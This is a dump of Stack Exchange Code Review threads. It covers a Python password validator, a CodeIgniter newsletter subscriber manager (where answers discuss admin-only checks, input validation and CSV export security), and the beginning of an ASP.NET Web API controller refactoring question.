is being used for authorization (and relayed further on). If there is a limit because \"something does not play well with the length\" then it is a real security issue." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T15:49:51.047", "Id": "508753", "Score": "0", "body": "(cont'd) If there is capping for performance reasons then fine (but it will be very large anyway). A browser will set a (huge) limit itself, but having 256 (MS choice) or 10000 should not be an issue." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T06:57:08.533", "Id": "508809", "Score": "1", "body": "Right, that's what I'm saying - it would be a ridiculously high limit. Some protocols simply don't play well with stupid-large data; for instance, if you're sending information over UDP, you really want to keep it within one packet if you can. (Though if you're sending passwords in clear text over UDP, you have bigger problems.) Any length limit on the password needs to be significantly greater than the hash length, for a start." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T07:27:44.237", "Id": "508811", "Score": "0", "body": "I do not want to sound annoying but password management is prone to many errors. Working in information security, i am quite aware of this fact. This is to say that *Any length limit on the password needs to be significantly greater than the hash length, for a start* is not correct. The size of the hash has nothing to do with the length of the password. You can have 15 chards passwords that are safe, for a hash that will be 72 bytes long." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T12:33:04.430", "Id": "508840", "Score": "0", "body": "@Woj there is not just the hash function that needs to deal with the password. You also have to look at the data transmission. So you might need to bear the 2048 characters in a url in mind." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T14:03:25.063", "Id": "508845", "Score": "0", "body": "@Taemyr: the data is pushed in a POST so the limit does not apply." } ], "meta_data": { "CommentCount": "8", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T06:48:07.133", "Id": "257507", "ParentId": "257476", "Score": "9" } }, { "body": "<p>I'm not going to retype what everyone already said, but I'll add a quick suggestion.</p>\n<p>Use <a href=\"https://en.wikipedia.org/wiki/Pylint\" rel=\"nofollow noreferrer\">Pylint</a> to help you write better code. It helped me tremendously when starting. As an example, Pylint would mark the following in your code.</p>\n<pre><code>On the first line: Line too long (141/100)\nOn each res == true (etc..): Comparison 'res == True' should be 'res is True' if checking for the singleton value True, or 'bool(res)' if testing for truthiness.\n</code></pre>\n<p>And just because I'm in the mood of giving suggestions, take a look at <a href=\"https://docs.python.org/3.8/library/venv.html\" rel=\"nofollow noreferrer\">venv</a>.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T06:58:37.080", "Id": "508810", "Score": "1", "body": "venv is irrelevant here, no point burdening a new(ish) programmer with too much hassle :) Incidentally, `bool(res)` is a poor choice too - just `res` is the best way here. Not sure why pylint recommended that." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T15:15:41.290", "Id": "508854", "Score": "0", "body": "[PEP 8](https://pep8.org/) says *\"Don’t compare boolean values to True or False using ==:\"*. I would have expected Pylint to pick that up. What Pylint warnings have you disabled and what version of Pylint (`pylint --version`)?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T15:17:18.983", "Id": "508856", "Score": "0", "body": "I use Pylint 2.6.0 ([Ubuntu MATE 20.04](https://en.wikipedia.org/wiki/Ubuntu_MATE#Releases) (Focal Fossa)), and I get `C0121: Comparison to True should be just 'expr' (singleton-comparison)`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T15:50:12.697", "Id": "508858", "Score": "0", "body": "This confusing Pylint error message seems to [have been fixed at the end of 2018](https://github.com/PyCQA/pylint/issues/2527)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T16:04:20.277", "Id": "508859", "Score": "0", "body": "On newer versions of [Debian](https://en.wikipedia.org/wiki/Debian)/[Ubuntu](https://en.wikipedia.org/wiki/Ubuntu_%28operating_system%29), installing Pylint with `pip install pylint` will not work. Instead, use `pip3 install pylint`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T16:24:56.200", "Id": "508866", "Score": "0", "body": "Pylint commit FA7274A884A458619F232C38BC971C641F56FD0C, 2018-09-29, corresponding to [Pylint 2.2.0](https://github.com/PyCQA/pylint/releases/tag/pylint-2.2.0) (2018-11-25). Perhaps you use a version of Debian/Ubuntu prior to that, like [Ubuntu 18.04](https://en.wikipedia.org/wiki/Ubuntu_version_history#Ubuntu_18.04_LTS_.28Bionic_Beaver.29) (Bionic Beaver), released 7 months prior, 2018-04-26?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T16:41:13.237", "Id": "508869", "Score": "0", "body": "The name of C0121 (e.g., for use in Pylint configuration files) is *\"singleton-comparison\"*." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-25T16:51:03.543", "Id": "508966", "Score": "0", "body": "@PeterMortensen \n`(venv) λ pylint --version`\n`pylint 2.7.2`\n`astroid 2.5.1`\n`Python 3.8.7 (tags/v3.8.7:6503f05, Dec 21 2020, 17:43:54) [MSC v.1928 32 bit (Intel)]`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-26T03:40:42.800", "Id": "509023", "Score": "0", "body": "I get the same message from Pylint as you with Pylint on an [MX Linux](https://en.wikipedia.org/wiki/MX_Linux) 19.3 system I installed today (exact same Pylint version, 2.7.2). Perhaps it is a regression in Pylint (somewhere between version 2.2.0 and 2.7.2)?" } ], "meta_data": { "CommentCount": "9", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T10:33:11.323", "Id": "257564", "ParentId": "257476", "Score": "3" } }, { "body": "<p>Welcome to the wonderful world of programming!</p>\n<p>While writing code it is helpful to think of similar problems you can solve. Not sure if you are specifically looking for a password verification routine (which you should use an established library instead of rolling your own), or if you are just going through an academic exercise.</p>\n<p>Exercises are good to help learn a language or explore a problem, even if they are never truly production worthy. Here is your password routine re-envisioned as a Product Number verifier. Same basic problem of testing contents of <code>Strings</code>, but removes the whole <code>password</code> discussion.</p>\n<pre><code>print( &quot;Enter product number: normally 8 to 12 characters with numerics and upper and lower case letters...&quot; )\nallegedProduct = input( &quot;Product: &quot; )\n\n# control checks\nisValid = True # optimistic\n\nif( not any( chr.isdigit() for chr in allegedProduct ) ) :\n isValid = False\n\nif( not any( chr.islower() for chr in allegedProduct ) ) :\n isValid = False\n\nif( not any( chr.isupper() for chr in allegedProduct ) ) :\n isValid = False\n\nif( not ( 8 &lt;= len( allegedProduct ) &lt;= 12 ) ) :\n isValid = False\n\nif( isValid ) :\n print( &quot;Product Number format confirmed.&quot; )\nelse:\n print( &quot;Incorrect Product Number format.&quot; )\n</code></pre>\n<p>Of course, the <code>If</code> statements can be combined as follows...</p>\n<pre><code>print( &quot;Enter product number: normally 8 to 12 characters with numerics and upper and lower case letters...&quot; )\nallegedProduct = input( &quot;Product: &quot; )\n\n# control checks\nif( ( not any( chr.isdigit() for chr in allegedProduct ) ) or\n ( not any( chr.islower() for chr in allegedProduct ) ) or\n ( not any( chr.isupper() for chr in allegedProduct ) ) or\n ( not ( 8 &lt;= len( allegedProduct ) &lt;= 12 ) ) ) :\n print( &quot;Incorrect Product Number format.&quot; )\nelse:\n print( &quot;Product Number format confirmed.&quot; )\n</code></pre>\n<p>Keep testing. Keep iterating. And keep playing. Have fun!</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T11:54:34.673", "Id": "508838", "Score": "0", "body": "Welcome to the Code Review Community. The point of the code review community is to help the original poster improve their coding skills so answers should make meaningful observations about the code in the question. This answer doesn't seem to address the code in the question at all." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T18:32:00.067", "Id": "257586", "ParentId": "257476", "Score": "1" } }, { "body": "<p>I don't have any Python implementation feedback, but I do have a little bit of security design feedback.</p>\n<p>When you ask the user to specify an initial password, you should not echo the output to the screen (in case an interloper is watching them).</p>\n<p>When you ask the user to specify an initial password, you should ask them to enter it twice, and then check additionally that the two passwords are the same. This helps the user avoid mistyping when the output is not echoed.</p>\n<p>It is not a good design to provide a password length upper limit (You specified an arbitrary upper limit of 13). Because &quot;George Bush speaks Spanish.&quot; is quite a complex password that is easy to remember and type correctly. The technique is known as a &quot;pass phrase&quot;.</p>\n<p>The terminology for the character classes you asked for are &quot;character groups&quot;. Systems designed to be highly secure often ask for three or four of the following four character groups:</p>\n<ul>\n<li><p>lowercase ASCII letters</p>\n</li>\n<li><p>uppercase ASCII letters</p>\n</li>\n<li><p>digits</p>\n</li>\n<li><p>punctuation</p>\n</li>\n</ul>\n<p>BUT: some of the best and most recent advice from the USA National Institutes of Standards and Technology specify that users should just be able to choose their password, not to impose any composition rules (i.e. character group requirements) on them, and instead to check their proposal against a list of known bad or previously breached passwords. Such a list is available from the haveibeenpwned.com service.</p>\n<p>In addition to ASCII characters, you might have a thought about whether users might like to use characters not found in ASCII. As long as you think the user would find it useful, I feel that any typeable and printable character could be allowed in a password. The limit is the range of systems a user might have to use, and the limitations of those input methods. That is a justification for restricting to ASCII.</p>\n<p>Your code does not address storage of the password. Generally, you should use a cryprographic hash function like bcrypt and store the hash, never storing the password and even wiping it from heap memory of the Python interpreter if possible. You should apply the bcrypt work factor so that your computer needs to work a threshold amount of time to generate the hash. For example, you could set the target to process for 500ms. The work factor can be adjusted upwards every few years when computers process the hash faster. Each password should be salted with a random unique salt of at least 8 bytes, and you can store that salt in the table with the password hash in plain text. When the user needs to log in, you should request the password in plain text over a secure transport like TLS 1.3. You take their entered password and the salt, and use bcrypt to generate a hash. If the hash is the same as the one you previously stored, then the password matched.</p>\n<p>When a user tries to log in, be careful not to disclose who the existing user accounts are, unless you decide to as part of your design. The existence of a user account is something you should keep secret, since that knowledge creates a target for an attack. The best way to keep this information private is to 1) generate a hash for every attempt, even for usernames that do not exist; and 2) to always give a generic feedback message, never indicating the specific reason the user cannot log in. In this way, an attacker cannot try lots of usernames and use the different error responses to determine which users exist, do not exist, or are locked out. Also the attacker will not be able to use the time delay of the reply to determine whether the username/password was correct or incorrect.</p>\n<p>Final topic! When a user sets a password, they are not really &quot;authenticated&quot;. All you know is the user provided you a password (and if it is the same password as when they registered, then you may assume it is the same person). BUT: you do not actually know that the person who registered is the person they say they are. Example, a user could enter their name Barack Obama, and specify the password &quot;George Bush speaks Spanish.&quot; But that does not prove to you that the user is really Barack Obama. So, depending on what information or abilities this user has on your system, you will want to authenticate them to a certain standard.</p>\n<ul>\n<li><p>One (low) standard of authentication is Email Address Verification. This simply means the person who registered also has control of the email address they have provided to you. You can do a similar thing with a mobile phone message.</p>\n</li>\n<li><p>Another (high) standard of authentication may be to ask them to log in and then provide access to a video call, where you can check the user's government identification.</p>\n</li>\n<li><p>An in-between level of authentication might be to use the OpenID Connect protocol to accept a user's identity that they choose to share with you through, for instance, Google or Twitter. After OIDC is configured, the user would log into that web service and choose to share their identity with your service. Another alternative would be to charge the user a credit card transaction and note their cardholder identity details.</p>\n</li>\n</ul>\n<p>If you read this far, then you will understand that handling passwords is actually an extremely difficult part of software design. Any time you can design a user interaction without passwords, that is superior. I am going to write a book on this someday. The main reason I gave such a detailed reply is that example code like yours sometimes does get copied/pasted into real implementations and these lead to real world security defects. I didn't cover everything, but I covered the most accessible and important 99%. And I hope that you and the other readers do not consider my answer too far off-topic. Best wishes.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T22:54:36.340", "Id": "257644", "ParentId": "257476", "Score": "0" } } ]
{ "AcceptedAnswerId": "257478", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T16:23:39.930", "Id": "257476", "Score": "20", "Tags": [ "python", "beginner", "python-3.x", "strings" ], "Title": "Password validator" }
257476
<p>I am working on a <strong>online newspaper/blogging application</strong> with <strong>CodeIgniter 3.1.8</strong> and <strong>Twig</strong>.</p> <p>The application is meant to offer developers and designers the possibility to very easily turn their HTML templates into database-powered websites. To achieve this, I used the <strong>Twig</strong> template engine, for the frontend.</p> <p>The main theme has a newsletter subscription form, which made it necessary for the CMS to have a <strong>newsletter subscribers management system</strong>.</p> <h3>The subscribers list</h3> <pre><code>&lt;div class=&quot;card bg-light w-100&quot;&gt; &lt;div class=&quot;card-header d-flex p-2&quot;&gt; &lt;h6 class=&quot;text-dark m-0 align-self-center&quot;&gt;Newsletter list&lt;/h6&gt; &lt;?php echo form_open(base_url('dashboard/subscribers/export'), ['class' =&gt; 'ml-auto']); ?&gt; &lt;button type=&quot;submit&quot; class=&quot;btn btn-sm btn-success&quot;&gt;&lt;i class=&quot;fa fa-file mr-1&quot;&gt;&lt;/i&gt; Export CSV&lt;/button&gt; &lt;?php echo form_close(); ?&gt; &lt;/div&gt; &lt;div class=&quot;card-body bg-white p-0&quot;&gt; &lt;?php if($total_subscribers &gt; 0):?&gt; &lt;div class=&quot;table-responsive&quot;&gt; &lt;table class=&quot;table table-striped table-sm mb-0 w-100&quot;&gt; &lt;thead&gt; &lt;tr class=&quot;row m-0&quot;&gt; &lt;th class=&quot;w-5&quot;&gt;#&lt;/th&gt; &lt;th class=&quot;w-50&quot;&gt;Email&lt;/th&gt; &lt;th class=&quot;w-25&quot;&gt;Subscription date&lt;/th&gt; &lt;th class=&quot;w-20 text-right&quot;&gt;Actions&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;?php foreach ($subscribers as $index =&gt; $subscriber): ?&gt; &lt;tr id=&quot;&lt;?php echo $subscriber-&gt;id; ?&gt;&quot; class=&quot;row m-0&quot;&gt; &lt;td class=&quot;w-5&quot;&gt;&lt;?php $count = $index + 1; echo $count + $offset; ?&gt;&lt;/td&gt; &lt;td class=&quot;w-50&quot;&gt;&lt;?php echo $subscriber-&gt;email; ?&gt;&lt;/td&gt; &lt;td class=&quot;w-25&quot;&gt;&lt;?php echo $subscriber-&gt;subscription_date; ?&gt;&lt;/td&gt; &lt;td class=&quot;w-20 text-right&quot;&gt; &lt;div class=&quot;btn-group&quot;&gt; &lt;a href=&quot;&lt;?php echo base_url('dashboard/subscribers/edit/' . $subscriber-&gt;id); ?&gt;&quot; title=&quot;Edit&quot; class=&quot;btn btn-sm btn-success&quot;&gt;&lt;i class=&quot;fa fa-pencil-square-o&quot;&gt;&lt;/i&gt; Edit&lt;/a&gt; &lt;a href=&quot;&lt;?php echo base_url('dashboard/subscribers/delete/' . $subscriber-&gt;id); ?&gt;&quot; title=&quot;Delete&quot; class=&quot;delete-subscriber btn btn-sm btn-success&quot;&gt;&lt;i class=&quot;fa fa-trash&quot;&gt;&lt;/i&gt; Delete&lt;/a&gt; &lt;/div&gt; &lt;/td&gt; &lt;/tr&gt; &lt;?php endforeach ?&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/div&gt; &lt;div class=&quot;card-footer bg-white px-0 py-&lt;?php echo $total_subscribers &gt; $limit ? '1' : '0'?&gt;&quot;&gt; &lt;?php if($total_subscribers &gt; $limit):?&gt; &lt;?php $this-&gt;load-&gt;view(&quot;dashboard/partials/pagination&quot;);?&gt; &lt;?php endif ?&gt; &lt;/div&gt; &lt;?php else: ?&gt; &lt;p class=&quot;text-center my-2&quot;&gt;No subscribers&lt;/p&gt; &lt;?php endif ?&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <h3>The model:</h3> <pre><code>class Newsletter_model extends CI_Model { public function subscriber_exists() { $query = $this-&gt;db-&gt;get_where('newsletter', ['email' =&gt; $this-&gt;input-&gt;post('email')]); return $query-&gt;num_rows() &gt; 0; } public function get_num_rows() { $query = $this-&gt;db-&gt;get('newsletter'); return $query-&gt;num_rows(); } // Insert subscriber public function addSubscriber() { $data = [ 'email' =&gt; $this-&gt;input-&gt;post('email'), 'subscription_date' =&gt; date('Y-m-d H:i:s') ]; return $this-&gt;db-&gt;insert('newsletter', $data); } // Fetch subscribers public function getSubscribers($limit, $offset){ $this-&gt;db-&gt;select('newsletter.*'); $this-&gt;db-&gt;order_by('newsletter.id', 'ASC'); $this-&gt;db-&gt;limit($limit, $offset); $query = $this-&gt;db-&gt;get('newsletter'); return $query-&gt;result(); } // Edit subscriber data public function editSubscriber($id){ $query = $this-&gt;db-&gt;get_where('newsletter', array('id' =&gt; $id)); if ($query-&gt;num_rows() &gt; 0) { return $query-&gt;row(); } } // Update subscriber data public function updateSubscriber($id) { $data = [ 'email' =&gt; $this-&gt;input-&gt;post('email') ]; $this-&gt;db-&gt;where('id', $id); return $this-&gt;db-&gt;update('newsletter', $data); } // Remove subscriber public function deleteSubscriber($id) { return $this-&gt;db-&gt;delete('newsletter', array('id' =&gt; $id)); } // Expot subscribers public function fetchSubscribers() { $this-&gt;db-&gt;select('email, subscription_date'); $this-&gt;db-&gt;order_by('newsletter.id', 'DESC'); $query = $this-&gt;db-&gt;get('newsletter'); return $query-&gt;result(); } } </code></pre> <h3>The controller</h3> <pre><code>class Subscribers extends CI_Controller { public function __construct() { parent::__construct(); } public function index() { if (!$this-&gt;session-&gt;userdata('is_logged_in')) { redirect('login'); } else { // Admin ONLY area! if (!$this-&gt;session-&gt;userdata('user_is_admin')) { redirect($this-&gt;agent-&gt;referrer()); } } $this-&gt;load-&gt;library('pagination'); $config['base_url'] = base_url(&quot;dashboard/subscribers&quot;); $config['query_string_segment'] = 'page'; $config['total_rows'] = $this-&gt;Newsletter_model-&gt;get_num_rows(); $config['per_page'] = 10; if (!isset($_GET[$config['query_string_segment']]) || $_GET[$config['query_string_segment']] &lt; 1) { $_GET[$config['query_string_segment']] = 1; } $limit = $config['per_page']; $offset = ($this-&gt;input-&gt;get($config['query_string_segment']) - 1) * $limit; $this-&gt;pagination-&gt;initialize($config); $data = $this-&gt;Static_model-&gt;get_static_data(); $data['subscribers'] = $this-&gt;Newsletter_model-&gt;getSubscribers($limit, $offset); $data['offset'] = $offset; $data['limit'] = $limit; $data['total_subscribers'] = $config['total_rows']; $this-&gt;load-&gt;view('dashboard/partials/header', $data); $this-&gt;load-&gt;view('dashboard/subscribers'); $this-&gt;load-&gt;view('dashboard/partials/footer'); } public function edit($id) { // Only logged in users can edit subscribers if (!$this-&gt;session-&gt;userdata('is_logged_in')) { redirect('login'); } $data = $this-&gt;Static_model-&gt;get_static_data(); $data['subscriber'] = $this-&gt;Newsletter_model-&gt;editSubscriber($id); $this-&gt;load-&gt;view('dashboard/partials/header', $data); $this-&gt;load-&gt;view('dashboard/edit-subscriber'); $this-&gt;load-&gt;view('dashboard/partials/footer'); } public function update() { // Only logged in users can update user profiles if (!$this-&gt;session-&gt;userdata('is_logged_in')) { redirect('login'); } $id = $this-&gt;input-&gt;post('subscriber'); $data = $this-&gt;Static_model-&gt;get_static_data(); $data['subscriber'] = $this-&gt;Newsletter_model-&gt;editSubscriber($id); $this-&gt;form_validation-&gt;set_rules('email', 'Email', 'required|trim|valid_email'); $this-&gt;form_validation-&gt;set_error_delimiters('&lt;p class=&quot;error-message&quot;&gt;', '&lt;/p&gt;'); if (!$this-&gt;form_validation-&gt;run()) { $this-&gt;load-&gt;view('dashboard/partials/header', $data); $this-&gt;load-&gt;view('dashboard/edit-subscriber'); $this-&gt;load-&gt;view('dashboard/partials/footer'); } else { $this-&gt;Newsletter_model-&gt;updateSubscriber($id); $this-&gt;session-&gt;set_flashdata('subscriber_updated', 'The email address was updated'); redirect('dashboard/subscribers'); } } public function delete($id) { if ($this-&gt;Newsletter_model-&gt;deleteSubscriber($id)) { $this-&gt;session-&gt;set_flashdata('subscriber_delete_success', &quot;The subscriber was deleted&quot;); } else { $this-&gt;session-&gt;set_flashdata('subscriber_delete_fail', &quot;Failed to delete subscriber&quot;); } redirect('dashboard/subscribers'); } public function export() { $data = $this-&gt;Static_model-&gt;get_static_data(); $subscribers = $this-&gt;Newsletter_model-&gt;fetchSubscribers(); $file_name = 'subscribers_' . date('Ymd') . '.csv'; header(&quot;Content-Description: File Transfer&quot;); header(&quot;Content-Disposition: attachment; filename=$file_name&quot;); header(&quot;Content-Type: application/csv;&quot;); // CSV creation $file = fopen(BASEPATH . '../downloads/csv/' . $file_name, 'w'); $header = array(&quot;Email&quot;, &quot;Subscription Date&quot;); fputcsv($file, $header); foreach ($subscribers as $subscriber) { fputcsv($file, array($subscriber-&gt;email, $subscriber-&gt;subscription_date)); } fclose($file); redirect('dashboard/subscribers'); } } </code></pre> <h3>Concerns</h3> <ol> <li><p>Is the subscribers management system (<em>especially</em> the CSV export functionality) secure?</p> </li> <li><p>Is it far from optimal from the point of view of code quality?</p> </li> </ol>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T07:51:52.767", "Id": "508636", "Score": "0", "body": "...I don't wish to repeat myself. You should not be accessing any superglobals in your model -- but I've said this already. By not implementing the insights that I've provided in the past, I can only assume that you do not value my insights, so I will not be reviewing. Please reread all of the reviews that you have received and then edit your question to implement everything that you've learned." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T10:42:25.653", "Id": "508646", "Score": "0", "body": "@mickmackusa Where do I do that exactly? What, from all I do wrong, lowers the application's security?" } ]
[ { "body": "<p>those are my considerations:</p>\n<ul>\n<li>Do not use Globals like $_POST, $_GET directly. Use that provided by CI, are already XSS cleaned and analyzed</li>\n<li>Always validate IDs, check that is an integer at least because, in theory, I can write an SQL there instead of an ID</li>\n<li>Do not use directly $this-&gt;input-&gt;post in the model. Always validate your data before the model. If something is not ok, you can handle it in the controller, not during an SQL query construction.</li>\n<li>The export function is not protected. I can launch a DDOS attack there and wait to see your server being overloaded by tons of requests to handle CSV files (very expensive)</li>\n</ul>\n<p>I'm sure that someone else can provide maybe more information or considerations</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T11:28:31.510", "Id": "508833", "Score": "0", "body": "Where am I using `$_POST` and `$_GET`? Nowhere, I think." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T17:03:54.017", "Id": "508874", "Score": "0", "body": "In your model methods, you are making `$this->input->post()` calls. You should not. https://codereview.stackexchange.com/questions/256853/password-reset-functionality-in-codeigniter-3/256868#:~:text=Model%20method,throughout%20your%20project." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T11:25:20.067", "Id": "257567", "ParentId": "257477", "Score": "2" } }, { "body": "<p>There were some issues with permissions: <em>non-admins</em> were able to edit, delete and export subscribers. Here is the fixed code:</p>\n<pre><code>class Subscribers extends CI_Controller\n{\n public function __construct()\n {\n parent::__construct();\n }\n \n public function index()\n {\n if (!$this-&gt;session-&gt;userdata('is_logged_in')) {\n redirect('login');\n } else {\n // Admin ONLY area!\n if (!$this-&gt;session-&gt;userdata('user_is_admin')) {\n $this-&gt;session-&gt;set_flashdata('admin_only_pages', 'Only admins are allowed to manage subscribers');\n redirect('dashboard');\n }\n }\n \n $this-&gt;load-&gt;library('pagination');\n $config['base_url'] = base_url(&quot;dashboard/subscribers&quot;);\n $config['query_string_segment'] = 'page';\n $config['total_rows'] = $this-&gt;Newsletter_model-&gt;get_num_rows();\n $config['per_page'] = 10;\n \n if (!isset($_GET[$config['query_string_segment']]) || $_GET[$config['query_string_segment']] &lt; 1) {\n $_GET[$config['query_string_segment']] = 1;\n }\n \n $limit = $config['per_page'];\n $offset = ($this-&gt;input-&gt;get($config['query_string_segment']) - 1) * $limit;\n $this-&gt;pagination-&gt;initialize($config);\n \n $data = $this-&gt;Static_model-&gt;get_static_data();\n $data['subscribers'] = $this-&gt;Newsletter_model-&gt;getSubscribers($limit, $offset);\n $data['offset'] = $offset;\n $data['limit'] = $limit;\n $data['total_subscribers'] = $config['total_rows'];\n \n $this-&gt;load-&gt;view('dashboard/partials/header', $data);\n $this-&gt;load-&gt;view('dashboard/subscribers');\n $this-&gt;load-&gt;view('dashboard/partials/footer');\n }\n \n public function edit($id)\n {\n // Admin ONLY area!\n if (!$this-&gt;session-&gt;userdata('user_is_admin')) {\n $this-&gt;session-&gt;set_flashdata('admin_only_pages', 'Only admins are allowed to edit subscribers');\n redirect('dashboard');\n }\n \n $data = $this-&gt;Static_model-&gt;get_static_data();\n $data['subscriber'] = $this-&gt;Newsletter_model-&gt;editSubscriber($id);\n \n $this-&gt;load-&gt;view('dashboard/partials/header', $data);\n $this-&gt;load-&gt;view('dashboard/edit-subscriber');\n $this-&gt;load-&gt;view('dashboard/partials/footer');\n }\n \n public function update()\n {\n // Only logged in users can update subscribers\n if (!$this-&gt;session-&gt;userdata('is_logged_in')) {\n redirect('login');\n }\n \n $id = $this-&gt;input-&gt;post('subscriber');\n \n $data = $this-&gt;Static_model-&gt;get_static_data();\n $data['subscriber'] = $this-&gt;Newsletter_model-&gt;editSubscriber($id);\n \n $this-&gt;form_validation-&gt;set_rules('email', 'Email', 'required|trim|valid_email');\n $this-&gt;form_validation-&gt;set_error_delimiters('&lt;p class=&quot;error-message&quot;&gt;', '&lt;/p&gt;');\n \n if (!$this-&gt;form_validation-&gt;run()) {\n $this-&gt;load-&gt;view('dashboard/partials/header', $data);\n $this-&gt;load-&gt;view('dashboard/edit-subscriber');\n $this-&gt;load-&gt;view('dashboard/partials/footer');\n } else {\n $this-&gt;Newsletter_model-&gt;updateSubscriber($id);\n $this-&gt;session-&gt;set_flashdata('subscriber_updated', 'The email address was updated');\n redirect('dashboard/subscribers');\n }\n }\n \n public function delete($id)\n {\n \n // Only admins can delete subscribers\n if ($this-&gt;session-&gt;userdata('user_is_admin')) {\n \n // Do delete\n if ($this-&gt;Newsletter_model-&gt;deleteSubscriber($id)) {\n $this-&gt;session-&gt;set_flashdata('subscriber_delete_success', &quot;The subscriber was deleted&quot;);\n } else {\n $this-&gt;session-&gt;set_flashdata('subscriber_delete_fail', &quot;Failed to delete subscriber&quot;);\n }\n redirect('dashboard/subscribers');\n \n } else {\n $this-&gt;session-&gt;set_flashdata('admin_only_pages', 'Only admins are allowed to delete subscribers');\n redirect('dashboard');\n }\n }\n \n public function export()\n {\n \n if (!$this-&gt;session-&gt;userdata('is_logged_in')) {\n redirect('login');\n } else {\n // Admin ONLY area!\n if (!$this-&gt;session-&gt;userdata('user_is_admin')) {\n $this-&gt;session-&gt;set_flashdata('admin_only_pages', 'Only admins are allowed to export subscribers');\n redirect('dashboard');\n }\n }\n \n $data = $this-&gt;Static_model-&gt;get_static_data();\n $subscribers = $this-&gt;Newsletter_model-&gt;fetchSubscribers();\n \n $file_name = 'subscribers_' . date('Ymd') . '.csv';\n header(&quot;Content-Description: File Transfer&quot;);\n header(&quot;Content-Disposition: attachment; filename=$file_name&quot;);\n header(&quot;Content-Type: application/csv;&quot;);\n \n // CSV creation \n $file = fopen(BASEPATH . '../downloads/csv/' . $file_name, 'w');\n $header = array(\n &quot;Email&quot;,\n &quot;Subscription Date&quot;\n );\n fputcsv($file, $header);\n foreach ($subscribers as $subscriber) {\n fputcsv($file, array(\n $subscriber-&gt;email,\n $subscriber-&gt;subscription_date\n ));\n }\n fclose($file);\n redirect('dashboard/subscribers');\n }\n}\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T11:57:48.920", "Id": "257568", "ParentId": "257477", "Score": "1" } } ]
{ "AcceptedAnswerId": "257567", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T16:52:25.197", "Id": "257477", "Score": "2", "Tags": [ "php", "mysql", "codeigniter" ], "Title": "Newsletter subscribers management system in CodeIgniter 3" }
257477
<p>I have been trying to refactor my code since I found I've been doing a lot of copying and pasting to implement the logic of the web API controllers. Here's how the controllers looked like before refactoring</p> <p>Controller for <code>EducationalGroups</code> table:</p> <pre><code>public class EducationalGroupsController : ApiController { public HttpResponseMessage Get() { try { using (SchoolDbContext entities = new SchoolDbContext()) return Request.CreateResponse(HttpStatusCode.OK, entities.EducationGroups.Where(g =&gt; !g.Is_Delete).ToList()); } catch (Exception e) { return Request.CreateErrorResponse(HttpStatusCode.NoContent, e); } } public HttpResponseMessage Post([FromBody] EducationGroup group) { try { using (SchoolDbContext entities = new SchoolDbContext()) { group.Create_User = WebApiConfig.CurrUserIdx; group.Create_Date = DateTime.Now; entities.EducationGroups.Add(group); entities.SaveChanges(); var msg = Request.CreateResponse(HttpStatusCode.Created, group); msg.Headers.Location = new Uri(Request.RequestUri, group.Id.ToString()); return msg; } } catch (Exception e) { return Request.CreateErrorResponse(HttpStatusCode.BadRequest, e); } } } </code></pre> <p>Controller for <code>EducationalStages</code> table:</p> <pre><code>public class EducationalStagesController : ApiController { public HttpResponseMessage Get() { try { //Notice the only difference here is the *Educational_Stages* object of type DbSet using (SchoolDbContext entities = new SchoolDbContext()) return Request.CreateResponse(HttpStatusCode.OK, entities.Education_Stages.Where(s =&gt; !s.Is_Delete).ToList()); } catch (Exception e) { return Request.CreateErrorResponse(HttpStatusCode.NoContent, e); } } //Same implementation for this method as previous controller //Only with the difference of the type of the parameter public HttpResponseMessage Post([FromBody] Education_Stages stage) { try { using (SchoolDbContext entities = new SchoolDbContext()) { stage.Create_User = WebApiConfig.CurrUserIdx; stage.Create_Date = DateTime.Now; entities.Education_Stages.Add(stage); entities.SaveChanges(); var msg = Request.CreateResponse(HttpStatusCode.Created, stage); msg.Headers.Location = new Uri(Request.RequestUri, stage.Id.ToString()); return msg; } } catch (Exception e) { return Request.CreateErrorResponse(HttpStatusCode.BadRequest, e); } } } </code></pre> <p>There are like 8 more controllers required for 8 more tables, so you get the idea of how redundant it looks like...</p> <p>What I've been trying to do is create a base class for the entities that share the same fields as follows:</p> <pre><code>public abstract class BaseEntity { public int Id { get; set; } [StringLength(50)] public string Ar_Name { get; set; } [StringLength(10)] public string En_Name { get; set; } public bool Is_Delete 